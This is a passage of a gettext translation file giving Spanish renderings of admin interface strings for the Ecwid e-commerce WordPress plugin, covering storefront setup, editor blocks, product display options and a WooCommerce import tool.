href=\"admin.php?page=ec-store-admin-category-id-0-mode-edit\">Add categories.</a>" msgstr "El bloque está oculto porque no tiene categorías en su tienda. <a target=\"_blank\" href=\"admin.php?page=ec-store-admin-category-id-0-mode-edit\">Añadir categorías.</a>" #: js/gutenberg/blocks.build.js:1 msgid "Categories" msgstr "Categorías" #: js/gutenberg/blocks.build.js:1 msgid "Display categories navigation bar" msgstr "Mostrar la barra de navegación de las categorías" #: js/gutenberg/blocks.build.js:1 msgid "Store Categories Menu" msgstr "Menú de categorías de la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Product Search Box" msgstr "Cuadro de búsqueda de productos" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:25 #: js/gutenberg/blocks.build.js:1 msgid "Linked product" msgstr "Producto vinculado" #: js/gutenberg/blocks.build.js:1 msgid "Display a buy button" msgstr "Mostrar un botón de compra" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:10 #: js/gutenberg/blocks.build.js:1 msgid "Buy Now Button" msgstr "Botón «Comprar ahora»" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:52 #: js/gutenberg/blocks.build.js:1 msgid "Show price inside the «Buy now» button" msgstr "Mostrar el precio dentro del botón de «Comprar ahora»" #: js/gutenberg/blocks.build.js:1 msgctxt "gutenberg-product-block" msgid "Content" msgstr "Contenido" #: js/gutenberg/blocks.build.js:1 msgid "Change" msgstr "Cambiar" #: js/gutenberg/blocks.build.js:1 msgid "Displayed product" msgstr "Producto mostrado" #: js/gutenberg/blocks.build.js:1 msgid "Display product with a buy button" msgstr "Mostrar el producto con un botón de compra" #: js/gutenberg/blocks.build.js:1 msgid "Product Card Small" msgstr "Ficha de producto reducida" #: js/gutenberg/blocks.build.js:1 msgid "Very dark gray" msgstr "Gris oscuro" #: js/gutenberg/blocks.build.js:1 msgid "Cyan bluish gray" msgstr "Gris cian azulado" #: js/gutenberg/blocks.build.js:1 msgid "Very light gray" msgstr "Gris claro" #: js/gutenberg/blocks.build.js:1 msgid "Vivid cyan blue" msgstr "Azul cian vívido" #: js/gutenberg/blocks.build.js:1 msgid "Pale cyan blue" msgstr "Azul cian pálido" #: js/gutenberg/blocks.build.js:1 msgid "Vivid green cyan" msgstr "Cian verde vívido" #: js/gutenberg/blocks.build.js:1 msgid "Light green cyan" msgstr "Cian verde claro" #: js/gutenberg/blocks.build.js:1 msgid "Luminous vivid amber" msgstr "Ãmbar vívido y brillante" #: js/gutenberg/blocks.build.js:1 msgid "Luminous vivid orange" msgstr "Naranja vívido y brillante" #: js/gutenberg/blocks.build.js:1 msgid "Vivid red" msgstr "Rojo vívido" #: js/gutenberg/blocks.build.js:1 msgid "Pale pink" msgstr "Rosa pálido" #: js/gutenberg/blocks.build.js:1 msgid "Set manually" msgstr "Configurar manualmente" #: js/gutenberg/blocks.build.js:1 msgid "Detect automatically" msgstr "Detectar automáticamente" #: js/gutenberg/blocks.build.js:1 msgid "Color settings" msgstr "Configuración de colores" #: js/gutenberg/blocks.build.js:1 msgid "Store Navigation" msgstr "Navegación en la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Store Front Page" msgstr "Página del escaparate virtual" #: js/gutenberg/blocks.build.js:1 msgid "Product sidebar content" msgstr "Contenido de la barra lateral de productos" #: js/gutenberg/blocks.build.js:1 msgid "Product Page Appearance" msgstr "Apariencia de la página del producto" #: js/gutenberg/blocks.build.js:1 msgid "Product List Appearance" msgstr "Apariencia de la lista de productos" #: js/gutenberg/blocks.build.js:1 msgid "Category List Appearance" msgstr "Apariencia de la lista de categorías" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your product page and manage its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Display cart icon" msgstr "Mostrar icono del carrito" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su tienda y poder gestionar la apariencia de su escaparate virtual desde aquí, habilite la opción «Apariencia de próxima generación de la lista de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Add storefront (product listing)" msgstr "Añadir escaparate virtual (listado de productos)" #: templates/admin/storefront/main.php:21 msgid "Customers can’t see your store page because it’s in draft. Publish the page to make it available for your customers." msgstr "Los clientes no pueden ver la página de su tienda porque está en un borrador. Publique la página para que esté disponible para sus clientes." #: templates/admin/storefront/main.php:20 msgid "The store is not visible on your site" msgstr "La tienda no es visible en su sitio web" #: templates/admin/storefront/main.php:4 msgid "Your Storefront" msgstr "Su escaparate virtual" #: templates/admin/storefront/area-promo.php:30 msgid "Help customers find your store on the site. Add the store link to the site menu, create additional store pages, and highlight store products on other site pages and in sidebars." msgstr "Ayude a los clientes a encontrar su tienda en el sitio web. Añada el enlace de la tienda al menú del sitio web, cree páginas adicionales de la tienda y resalte los productos de la tienda en otras páginas del sitio web y en las barras laterales." #: templates/admin/storefront/area-promo.php:29 msgid "Promote your store" msgstr "Promocione su tienda" #: templates/admin/storefront/area-promo.php:26 msgid "Stay connected with your customers. Update the content of your store anytime to tell customers about ongoing promotions and what's new in your store." msgstr "Manténgase conectado con sus clientes. Actualice el contenido de su tienda en cualquier momento para informarles a los clientes sobre las promociones actuales y las novedades de su tienda." #: templates/admin/storefront/area-promo.php:25 msgid "Change store content" msgstr "Cambiar el contenido de la tienda" #: templates/admin/storefront/area-promo.php:22 msgid "Customize your store’s appearance to fit your business needs. Give your store the exact look and feel that reflects your brand." msgstr "Personalice la apariencia de su tienda para que se ajuste a las necesidades de su negocio. Cree la apariencia para su tienda que más se parezca a su marca." #: templates/admin/storefront/area-promo.php:21 msgid "Customize store appearance" msgstr "Personalizar la apariencia de la tienda" #: templates/admin/storefront/area-promo.php:7 msgid "Add your %s store to the website and start selling in minutes." msgstr "Añada su tienda de %s al sitio web y comience a vender en minutos." #: templates/admin/storefront/area-promo.php:3 msgid "What's next?" msgstr "¿Qué sigue?" #: templates/admin/storefront/area-additional.php:224 msgid "Your store is added to several pages on the site. Choose the main page. Customers are directed to the main store page when they click on the cart icon, store links in the site menu, and products in the sidebar." msgstr "Su tienda se añade a varias páginas del sitio web. Elija la página principal. Los clientes son redirigidos a la página principal de la tienda cuando hacen clic en el icono del carrito, en los enlaces de la tienda ubicados en el menú del sitio web o en los productos que se encuentran en la barra lateral." #: templates/admin/storefront/area-additional.php:222 msgid "Choose the main store page" msgstr "Elegir la página principal de la tienda" #: templates/admin/storefront/area-additional.php:200 msgid "Go to Pages" msgstr "Ir a «Páginas»" #: templates/admin/storefront/area-additional.php:193 msgid "You can add the entire storefront, categories, products, or \"Buy now\" buttons to other pages on your site. To do that, open a page in the editor and add an appropriate %s block." msgstr "Puede añadir todo el escaparate virtual, las categorías, los productos o los botones de «Comprar ahora» a otras páginas de su sitio web. Para ello, abra una página en el editor y añada un bloque %s apropiado." #: templates/admin/storefront/area-additional.php:189 msgid "Add your store to other site pages" msgstr "Añada su tienda a otras páginas del sitio web" #: templates/admin/storefront/area-additional.php:166 msgid "Create Product Page" msgstr "Crear página de productos" #: templates/admin/storefront/area-additional.php:150 msgid "Pick Product" msgstr "Elegir un producto" #: templates/admin/storefront/area-additional.php:136 #: templates/admin/storefront/area-additional.php:138 msgid "Create a landing page featuring one of your products." msgstr "Cree una página de aterrizaje con uno de sus productos." #: templates/admin/storefront/area-additional.php:132 msgid "Add a product page" msgstr "Añadir página de productos" #: templates/admin/storefront/area-additional.php:109 msgid "Create Category Page" msgstr "Crear página de categorías" #: templates/admin/storefront/area-additional.php:93 msgid "Pick Category" msgstr "Elegir una categoría" #: templates/admin/storefront/area-additional.php:79 #: templates/admin/storefront/area-additional.php:81 msgid "Feature a specific store category on a separate page of your site." msgstr "Destacar una categoría de la tienda específica en una página separada de su sitio web." #: templates/admin/storefront/area-additional.php:75 msgid "Add a category page" msgstr "Añadir una página de categoría" #: templates/admin/storefront/area-additional.php:54 msgid "Create Search Page" msgstr "Crear página de búsqueda" #: templates/admin/storefront/area-additional.php:50 msgid "Show customers that they can use a search and filters to find desired products faster." msgstr "Muéstreles a los clientes que pueden utilizar la búsqueda y los filtros para encontrar los productos que deseen de forma más rápida." #: templates/admin/storefront/area-additional.php:48 msgid "Add a search and filters page" msgstr "Añadir una página de búsqueda y filtros" #: templates/admin/storefront/area-additional.php:27 msgid "Create Cart Page" msgstr "Crear página del carrito" #: templates/admin/storefront/area-additional.php:23 msgid "Customers go to the cart page to review products they’ve added to the cart and proceed to the checkout." msgstr "Los clientes van a la página del carrito para consultar los productos que han añadido al mismo y proceder con el pago." #: templates/admin/storefront/area-additional.php:21 msgid "Add cart and checkout page" msgstr "Añadir carrito y página de pago" #: templates/admin/storefront/area-additional.php:4 msgid "Highlight products, categories, and other store pages by adding them to separate website pages." msgstr "Destaque productos, categorías y otras páginas de la tienda añadiéndolas a páginas del sitio web separadas." #: templates/admin/storefront/area-additional.php:3 msgid "Additional store pages" msgstr "Páginas adicionales de la tienda" #: templates/admin/storefront/draft-message.php:2 msgid "Publish the page to use this option" msgstr "Publique la página para poder utilizar esta opción" #: templates/admin/storefront/area-design.php:55 msgid "Along with the store catalog, you can add other widgets and texts to the store page." msgstr "Junto con el catálogo de la tienda, puede añadir otros «widgets» y textos a la página de la tienda." #: templates/admin/storefront/area-design.php:54 msgid "Store page content" msgstr "Contenido de la página de la tienda" #: templates/admin/storefront/area-design.php:25 #: templates/admin/storefront/area-design.php:27 msgid "Adjust your store design to fit your business needs." msgstr "Ajuste el diseño de su tienda para que se adapte a las necesidades de su negocio." #: templates/admin/storefront/area-design.php:21 msgid "Store appearance" msgstr "Apariencia de la tienda" #: templates/admin/storefront/area-design.php:4 msgid "Personalize your storefront's appearance and edit the content on the store page to reflect your brand and stay connected with your customers." msgstr "Personalice la apariencia de su escaparate virtual y edite el contenido en la página de la tienda para reflejar su marca y mantenerse conectado con sus clientes." #: templates/admin/storefront/area-design.php:3 msgid "Design and content" msgstr "Diseño y contenido" #: templates/admin/storefront/area-status.php:124 msgid "Create Store Page" msgstr "Crear la página de la tienda" #: templates/admin/storefront/area-status.php:121 msgid "Your store is not added to any page on your site. To let customers browse your store and place orders, create a page where the store will display." msgstr "Su tienda no se añade a ninguna página de su sitio web. Para que los clientes puedan navegar por su tienda y realizar pedidos, cree una página donde se mostrará la tienda." #: templates/admin/storefront/area-status.php:115 msgid "Set Up Your Store" msgstr "Configure su tienda" #: templates/admin/storefront/area-status.php:109 msgid "To show your storefront instead of the demo store, connect your existing %s account or create a new one." msgstr "Para mostrar su escaparate virtual en lugar de la tienda de demostración, conecte su cuenta de %s existente o cree una nueva." #: templates/admin/storefront/area-status.php:101 msgid "Publish Store Page" msgstr "Publicar la página de la tienda" #: templates/admin/storefront/area-status.php:98 msgid "Your store page is currently in draft. Once you are ready, publish it to let customers browse the store and place orders." msgstr "La página de su tienda está actualmente en un borrador. Una vez que esté lista, publíquela para que los clientes puedan visitar la tienda y realizar pedidos." #: templates/admin/storefront/area-status.php:92 msgid "View Store Page" msgstr "Ver la página de la tienda" #: templates/admin/storefront/area-status.php:86 msgid "Your store page is published. Customers can browse your store at " msgstr "La página de su tienda está publicada. Los clientes pueden visitar su tienda en " #: templates/admin/storefront/area-status.php:77 msgid "View demo store page" msgstr "Ver la página de la tienda de demostración" #: templates/admin/storefront/area-status.php:46 msgid "Draft" msgstr "Borrador" #: templates/admin/storefront/area-status.php:45 msgid "Published" msgstr "Publicada" #: templates/admin/storefront/area-status.php:33 #: templates/admin/storefront/area-status.php:36 msgid "Status" msgstr "Estado" #: templates/admin/storefront/area-status.php:29 msgid "Add a store page" msgstr "Añadir una página de tienda" #: templates/admin/storefront/area-status.php:24 msgid "Connect your %s store" msgstr "Conecte su tienda de %s" #: templates/admin/storefront/area-status.php:21 msgid "Your store page" msgstr "La página de su tienda" #: templates/admin/storefront/area-status.php:10 msgid "To start selling, add a page to your site where the storefront will display." msgstr "Para comenzar a vender, añada una página a su sitio web donde se muestre el escaparate virtual." #: templates/admin/storefront/area-status.php:7 msgid "While your store is not connected, a demo store displays on your site. Check it to get the idea of how your store may look on the site." msgstr "Mientras su tienda aún no esté conectada, se mostrará una tienda de demostración en su sitio web. Échele un vistazo para tener una idea de cómo se verá su tienda en el sitio web." #: templates/admin/storefront/area-status.php:4 msgid "Store page on your site" msgstr "Página de la tienda en su sitio web" #: templates/admin/storefront/area-navigation.php:205 msgid "The shopping cart icon shows the number of items in the cart and helps customers proceed to the checkout. Additionally, you can <a href=\"%s\" target=\"_blank\">adjust the cart icon appearance</a>." msgstr "El icono del carrito de compras muestra la cantidad de artículos en el carrito y ayuda a los clientes a realizar el pago. Además, puede <a href=\"%s\" target=\"_blank\">ajustar la apariencia del icono del carrito</a>." #: templates/admin/storefront/area-navigation.php:201 msgid "Display the shopping cart icon on site pages" msgstr "Muestre el icono del carrito de compras en las páginas del sitio web" #: templates/admin/storefront/area-navigation.php:179 msgid "Manage Sidebar" msgstr "Gestionar la barra lateral" #: templates/admin/storefront/area-navigation.php:175 msgid "Highlight your best sellers or new products in the website sidebar." msgstr "Destaque sus mejores ventas o nuevos productos en la barra lateral del sitio web." #: templates/admin/storefront/area-navigation.php:173 msgid "Feature your products in the sidebar" msgstr "Destaque sus productos en la barra lateral" #: templates/admin/storefront/area-navigation.php:151 msgid "Add Store Page to Menu" msgstr "Añadir la página de la tienda al menú" #: templates/admin/storefront/area-navigation.php:147 msgid "Make your store accessible from the site menu so your customers can easily find it." msgstr "Haga que su tienda sea accesible desde el menú del sitio web para que sus clientes puedan encontrarla fácilmente." #: templates/admin/storefront/area-navigation.php:141 msgid "Add store page to the site menu" msgstr "Añadir la página de la tienda al menú del sitio web" #: templates/admin/storefront/area-navigation.php:118 msgid "Edit URL Slug" msgstr "Editar «slug» de la dirección URL" #: templates/admin/storefront/area-navigation.php:102 msgid "Current URL slug: /<span data-ec-store-slug>%s</span>" msgstr "«Slug» actual de la dirección URL: /<span data-ec-store-slug>%s</span>" #: templates/admin/storefront/area-navigation.php:78 msgid "Save" msgstr "Guardar" #: templates/admin/storefront/area-navigation.php:69 msgid "URL Slug" msgstr "«Slug» de la dirección URL" #: templates/admin/storefront/area-navigation.php:60 #: templates/admin/storefront/area-navigation.php:113 msgid "A slug is the last part of a URL. You can create a custom slug for your store page. It’s better to keep it short since customers and search engines prefer short URLs. For example, use \"/shop\" or \"/products\"." msgstr "Un «slug» es la última parte de una URL. Puede crear un «slug» personalizado para la página de su tienda. Es mejor que sea corto, ya que los clientes y los motores de búsqueda prefieren las URL cortas. Por ejemplo, utilice «/tienda» o «/productos»." #: templates/admin/storefront/area-navigation.php:56 #: templates/admin/storefront/area-navigation.php:98 msgid "Customize store page address" msgstr "Personalizar la dirección de la página de la tienda" #: templates/admin/storefront/area-navigation.php:29 msgid "Add your storefront to the website home page to make it more prominent. You can also tweak the site home page settings in <a href=\"%s\" target=\"_blank\">WordPress Settings > Reading</a>" msgstr "Añada su escaparate virtual a la página de inicio del sitio web para que sea más notable. También puede modificar la configuración de la página de inicio del sitio web en <a href=\"%s\" target=\"_blank\">Configuración de WordPress > Lectura</a>." #: templates/admin/storefront/area-navigation.php:21 msgid "Show your store on the home page" msgstr "Muestre su tienda en la página de inicio" #: templates/admin/storefront/area-navigation.php:4 msgid "Help customers find your store on the website." msgstr "Ayude a los clientes a encontrar su tienda en el sitio web." #: templates/admin/storefront/area-navigation.php:3 msgid "Navigation" msgstr "Navegación" #: templates/admin/welcome-no_oauth.php:12 msgid "Store ID is a unique identifier of your %1$s account. You can find it in your %1$s control panel on the <a %2$s>Dashboard page</a>." msgstr "El ID de la tienda es un identificador único de su cuenta de %1$s. Puede encontrarlo en su panel de control de %1$s en la <a %2$s>página del panel</a>." #: templates/admin/welcome-create.php:11 msgid "Your store has been created. Preparing your store dashboard ..." msgstr "Se ha creado su tienda. Preparando el panel de su tienda..." #: templates/admin/welcome-connect.php:8 msgid "Create store" msgstr "Crear tienda" #: templates/admin/welcome-connect.php:4 msgid "Connect Your Store" msgstr "Conecte su tienda" #: templates/admin/welcome-page.php:61 msgid "Provided by <a %s>%s</a>" msgstr "Proporcionado por <a %s>%s</a>" #: templates/admin/welcome-page.php:33 msgid "To add your store to your website, put your %1$s Store ID in the field below. If you don't have an %1$s account yet, create one for free on the <a %2$s>%1$s website</a>." msgstr "Para añadir su tienda a su sitio web, introduzca el ID de su tienda de %1$s en el campo a continuación. Si aún no tiene una cuenta de %1$s, cree una gratis en el <a %2$s>sitio web de %1$s</a>." #: templates/admin/welcome-page.php:20 msgid "Create a new store or connect an existing one, if you already have an %s account. The plugin will guide you through store setup and help publish it on your website." msgstr "Cree una nueva tienda o, si ya tiene una cuenta de %s, conéctela. El complemento le guiará a través de la configuración de la tienda y le ayudará a publicarla en su sitio web." #: templates/admin/welcome-page.php:12 msgid "Add an Online Store to Your Website" msgstr "Añadir una tienda en línea a su sitio web" #: includes/class-ecwid-store-page.php:566 msgid "This is a demo store. Create your store to see your store products here." msgstr "Esto es una tienda de demostración. Cree su tienda para ver los productos de su tienda aquí." #: includes/class-ecwid-admin-storefront-page.php:539 msgid "Publish" msgstr "Publicar" #: templates/admin/storefront/area-design.php:33 #: templates/admin/storefront/area-design.php:59 #: includes/class-ecwid-admin-storefront-page.php:532 msgid "Edit" msgstr "Editar" #: includes/class-ecwid-admin-storefront-page.php:525 msgid "Preview" msgstr "Vista previa" #: includes/class-ecwid-admin-storefront-page.php:516 msgid "Switch to draft" msgstr "Cambiar al borrador" #: includes/class-ecwid-admin-storefront-page.php:506 msgid "Edit page" msgstr "Editar página" #: includes/class-ecwid-admin-storefront-page.php:499 msgid "View store page" msgstr "Ver la página de la tienda" #: includes/class-ecwid-admin-storefront-page.php:286 msgid "Search products" msgstr "Buscar productos" #: includes/class-ecwid-admin-storefront-page.php:265 msgid "Category" msgstr "Categoría" #: includes/class-ecwid-admin-storefront-page.php:240 msgid "Page with that name already exists." msgstr "Ya existe una página con ese nombre." #: includes/class-ecwid-admin.php:538 msgid "My Profile" msgstr "Mi perfil" #: includes/class-ecwid-admin.php:533 msgid "Apps" msgstr "Aplicaciones" #: includes/class-ecwid-admin.php:523 msgid "Shipping & Pickup" msgstr "Envío y recogida" #: includes/class-ecwid-admin.php:518 msgid "Payment" msgstr "Pago" #: includes/class-ecwid-admin.php:513 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:88 msgid "Design" msgstr "Diseño" #: includes/class-ecwid-admin.php:509 msgid "Configuration" msgstr "Configuración" #: includes/class-ecwid-admin.php:504 msgid "All Sales Channels" msgstr "Todos los canales de venta" #: includes/class-ecwid-admin.php:499 msgid "Website" msgstr "Sitio web" #: includes/class-ecwid-admin.php:494 msgid "Mobile" msgstr "Móvil" #: includes/class-ecwid-admin.php:485 msgid "Sales channels" msgstr "Canales de venta" #: includes/class-ecwid-admin.php:480 msgid "Reports" msgstr "Informes" #: includes/class-ecwid-admin.php:475 msgid "Marketing" msgstr "Mercadotecnia" #: includes/class-ecwid-admin.php:470 msgid "Catalog" msgstr "Catálogo" #: includes/class-ecwid-admin.php:465 msgid "My Sales" msgstr "Mis ventas" #: includes/class-ecwid-admin.php:455 msgid "Store management" msgstr "Gestión de la tienda" #: includes/class-ecwid-admin.php:344 msgid "Instant site" msgstr "Sitio web instantáneo" #: includes/class-ecwid-admin.php:153 includes/class-ecwid-admin.php:154 #: includes/class-ecwid-admin.php:309 msgid "Storefront" msgstr "Escaparate virtual" #: ecwid-shopping-cart.php:1111 msgid "Manage storefront" msgstr "Gestionar escaparate virtual" #: ecwid-shopping-cart.php:1111 msgid "Customize design" msgstr "Personalizar el diseño" #: ecwid-shopping-cart.php:1103 msgid "Manage store" msgstr "Gestionar la tienda" #: templates/importer/woo-main.tpl.php:97 msgid "Start Import" msgstr "Iniciar la importación" #: templates/importer/woo-main.tpl.php:87 msgid "Please mind the maximum number of products and categories you can have in your Ecwid store. This import tool will automatically stop when the store products limit is reached. To check the current store limit or increase it, please see the <nobr><a %s target=\"_blank\">\"Billing & Plans\"</a></nobr> page in your Ecwid store control panel." msgstr "Tenga en cuenta el número máximo de productos y categorías que puede tener en su tienda de Ecwid. Esta herramienta de importación se detendrá automáticamente cuando se alcance el límite de productos de la tienda. Para conocer el límite actual de la tienda o aumentarlo, consulte la página <nobr><a %s target=\"_blank\">«Facturación y planes»</a></nobr> ubicada en el panel de su tienda de Ecwid." #: templates/importer/woo-main.tpl.php:82 msgid "Import creates new products and update the existing products with matching SKUs." msgstr "La importación crea nuevos productos y actualiza los productos existentes con las REF correspondientes." #: templates/importer/woo-main.tpl.php:60 msgid "Copying products and categories." msgstr "Copia de productos y categorías." #: templates/importer/woo-main.tpl.php:50 msgid "Import completed. <a href=\"%s\">Run again.</a>" msgstr "Importación completada. <a href=\"%s\">Ejecútela de nuevo.</a>" #: templates/importer/woo-main.tpl.php:34 msgid "Import is in Progress" msgstr "La importación está en progreso" #: templates/importer/woo-main.tpl.php:32 msgid "Import your products from Woocommerce to %s" msgstr "Importe sus productos de Woocommerce a %s" #: templates/importer/woo-main.tpl.php:18 msgid "Update your catalog" msgstr "Actualice su catálogo" #: templates/importer/woo-main.tpl.php:4 msgid "Import Your Products From Woocommerce to %s" msgstr "Importe sus productos de Woocommerce a %s" #: templates/importer/import-no-token.tpl.php:3 msgid "Click the connect button to get rights to update the product catalog" msgstr "Haga clic en el botón «Conectar» para obtener los permisos para actualizar el catálogo de productos" #: templates/importer/woo-complete-alert.tpl.php:52 msgid "Go to Your %s Products" msgstr "Ir a sus productos de %s" #: templates/importer/woo-complete-alert.tpl.php:43 msgid "Download <a href=\"%s\">import log</a>" msgstr "Descargar <a href=\"%s\">registro de importación</a>" #: templates/importer/woo-complete-alert.tpl.php:32 msgid "Part of the products have not been copied to %1$s, because you reached the products limit on your pricing plan in %1$s. If you want to import more products, please consider <nobr><a %2$s>upgrading your %1$s plan.</a></nobr>" msgstr "Parte de los productos no se han copiado a %1$s porque alcanzó el límite de productos en su plan de precios en %1$s. Si desea importar más productos, considere <nobr><a %2$s>actualizar su plan de %1$s.</a></nobr>" #: templates/importer/woo-complete-alert.tpl.php:21 msgid "<b>%s</b> categories" msgstr "<b>%s</b> categorías" #: templates/importer/woo-complete-alert.tpl.php:18 msgid "Imported <b>%s</b> products" msgstr "<b>%s</b> productos importados" #: templates/importer/woo-complete-alert.tpl.php:15 msgid "Import completed" msgstr "Importación completada" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:10 #: includes/widgets/class-ecwid-widget-product-browser.php:12 msgid "Online store" msgstr "Tienda en línea" #: includes/class-ecwid-store-page.php:476 msgid "%s Store Page" msgstr "Página de la tienda de %s" #: templates/advanced-settings.php:79 msgid "Integration with search on your site" msgstr "Integración con la búsqueda en su sitio web" #: templates/sync.php:130 msgid "Deleted products synchronized: %1$s out of %2$s" msgstr "Productos eliminados sincronizados: %1$s de %2$s" #: includes/class-ecwid-custom-admin-page.php:66 msgid "Themes for Ecwid" msgstr "Temas para Ecwid" #: includes/class-ecwid-custom-admin-page.php:33 msgid "Plugins for Ecwid" msgstr "Complementos para Ecwid" #: includes/class-ecwid-popup-deactivate.php:138 msgid "I use this WordPress theme: %s" msgstr "Utilizo este tema de WordPress: %s" #: includes/class-ecwid-popup-deactivate.php:132 msgid "I couldn’t find a WordPress theme that goes well with %s" msgstr "No pude encontrar un tema de WordPress adecuado para %s" #: includes/class-ecwid-product-browser.php:357 msgid "On the right" msgstr "A la derecha" #: includes/class-ecwid-product-browser.php:353 msgid "On the left" msgstr "A la izquierda" #: includes/class-ecwid-product-browser.php:349 msgid "Filters panel position" msgstr "Posición del panel de filtros" #: includes/class-ecwid-product-browser.php:209 msgid "Default product_ID" msgstr "ID del producto predeterminado" #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:73 msgid "Cart icon" msgstr "Icono del carrito de compras" #: templates/shortcode-stub-store.tpl.php:4 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:20 #: js/gutenberg/blocks.build.js:1 msgid "Store Home Page" msgstr "Página de inicio de la tienda" #: ecwid-shopping-cart.php:431 msgid "Edit Category" msgstr "Editar categoría" #: ecwid-shopping-cart.php:430 msgid "Edit Product" msgstr "Editar producto" #: includes/class-ecwid-admin.php:142 includes/class-ecwid-admin.php:143 msgid "Online Store Apps" msgstr "Aplicaciones de la tienda en línea" #. Plugin Name of the plugin msgid "Ecwid Ecommerce Shopping Cart" msgstr "Carrito de compras del comercio electrónico de Ecwid" #: includes/class-ecwid-custom-admin-page.php:58 includes/faq_entries.php:76 msgid "Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend <a href=\"%s\">TemplateMonster themes</a>" msgstr "Ecwid es compatible con cualquier tema de WordPress. Ya sea un tema gratuito del catálogo de WordPress.org, un tema prémium de un proveedor externo o un tema personalizado; su tienda de Ecwid funcionará bien con cualquiera de ellos. Si desea un tema prémium, le recomendamos <a href=\"%s\">temas de TemplateMonster</a>." #: includes/faq_entries.php:74 msgid "Is there a WordPress theme for Ecwid?" msgstr "¿Existe algún tema de WordPress para Ecwid?" #: templates/admin-footer.php:19 msgid "<a href=\"admin.php?page=" msgstr "<a href=\"admin.php?page=" #: includes/integrations/class-ecwid-integration-gutenberg.php:113 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:25 msgid "You can enable an extra shopping bag icon widget that will appear on your site pages. Open “<a href=\"%1$s\">Appearance → Customize → %2$s</a>†menu to enable it." msgstr "Puede habilitar un «widget» adicional del icono de la bolsa de compras que aparecerá en las páginas de su sitio web. Abra el menú «<a href=\"%1$s\">Apariencia → Personalizar → %2$s</a>» para habilitarlo." #: includes/integrations/class-ecwid-integration-gutenberg.php:85 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:18 msgctxt "gutenberg-store-block-stub" msgid "Store" msgstr "Tienda" #: includes/class-ecwid-product-browser.php:472 msgid "Image feed" msgstr "Canal de imagen" #: includes/class-ecwid-product-browser.php:467 msgid "Vertical thumbnails" msgstr "Miniaturas verticales" #: includes/class-ecwid-product-browser.php:462 msgid "Horizontal thumbnails" msgstr "Miniaturas horizontales" #: includes/class-ecwid-product-browser.php:452 msgid "3 columns, image on the right" msgstr "3 columnas, imagen a la derecha" #: includes/class-ecwid-product-browser.php:448 msgid "3 columns, image on the left" msgstr "3 columnas, imagen a la izquierda" #: includes/class-ecwid-product-browser.php:444 msgid "2 columns, image on the right" msgstr "2 columnas, imagen a la derecha" #: includes/class-ecwid-product-browser.php:440 msgid "2 columns, image on the left" msgstr "2 columnas, imagen a la izquierda" #: includes/class-ecwid-product-browser.php:429 msgid "Landscape 3:2" msgstr "Horizontal 3:2" #: includes/class-ecwid-product-browser.php:424 msgid "Landscape 4:3" msgstr "Horizontal 4:3" #: includes/class-ecwid-product-browser.php:419 msgid "Square 1:1" msgstr "Cuadrado 1:1" #: includes/class-ecwid-product-browser.php:414 msgid "Portrait 3:4" msgstr "Vertical 3:4" #: includes/class-ecwid-product-browser.php:409 msgid "Portrait 2:3" msgstr "Vertical 2:3" #: includes/class-ecwid-product-browser.php:399 msgid "L" msgstr "G" #: includes/class-ecwid-product-browser.php:395 msgid "M" msgstr "M" #: includes/class-ecwid-product-browser.php:391 msgid "S" msgstr "P" #: includes/class-ecwid-product-browser.php:381 msgid "Show on hover" msgstr "Mostrar al pasar el ratón" #: includes/class-ecwid-product-browser.php:377 msgid "Hide" msgstr "Ocultar" #: includes/class-ecwid-product-browser.php:373 msgid "Show" msgstr "Mostrar" #: includes/class-ecwid-product-browser.php:342 msgid "Background color" msgstr "Color del fondo" #: includes/class-ecwid-product-browser.php:335 msgid "Link color" msgstr "Color del enlace" #: includes/class-ecwid-product-browser.php:328 msgid "Price color" msgstr "Color del precio" #: includes/class-ecwid-product-browser.php:321 msgid "Text color" msgstr "Color del texto" #: includes/class-ecwid-product-browser.php:314 msgid "Button color" msgstr "Color del botón" #: includes/class-ecwid-product-browser.php:299 msgid "Wholesale prices" msgstr "Precios al por mayor" #: includes/class-ecwid-product-browser.php:292 msgid "\"In stock\" label" msgstr "Etiqueta de productos «En existencia»" #: includes/class-ecwid-product-browser.php:285 msgid "Available qty in stock" msgstr "Cantidad disponible en existencia" #: includes/class-ecwid-product-browser.php:278 msgid "Product quantity" msgstr "Cantidad de productos" #: includes/class-ecwid-product-browser.php:271 msgctxt "product-browser-attributes" msgid "Product price" msgstr "Precio del producto" #: includes/class-ecwid-product-browser.php:264 msgctxt "product-browser-attributes" msgid "Product SKU" msgstr "REF del producto" #: includes/class-ecwid-product-browser.php:257 msgid "Breadcrumbs" msgstr "Migas de pan" #: includes/class-ecwid-product-browser.php:241 msgid "Image gallery layout" msgstr "Diseño de la galería de imágenes" #: includes/integrations/class-ecwid-integration-gutenberg.php:391 #: includes/class-ecwid-product-browser.php:224 #: includes/class-ecwid-product-browser.php:233 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:212 msgid "Show description under the image" msgstr "Mostrar descripción debajo de la imagen" 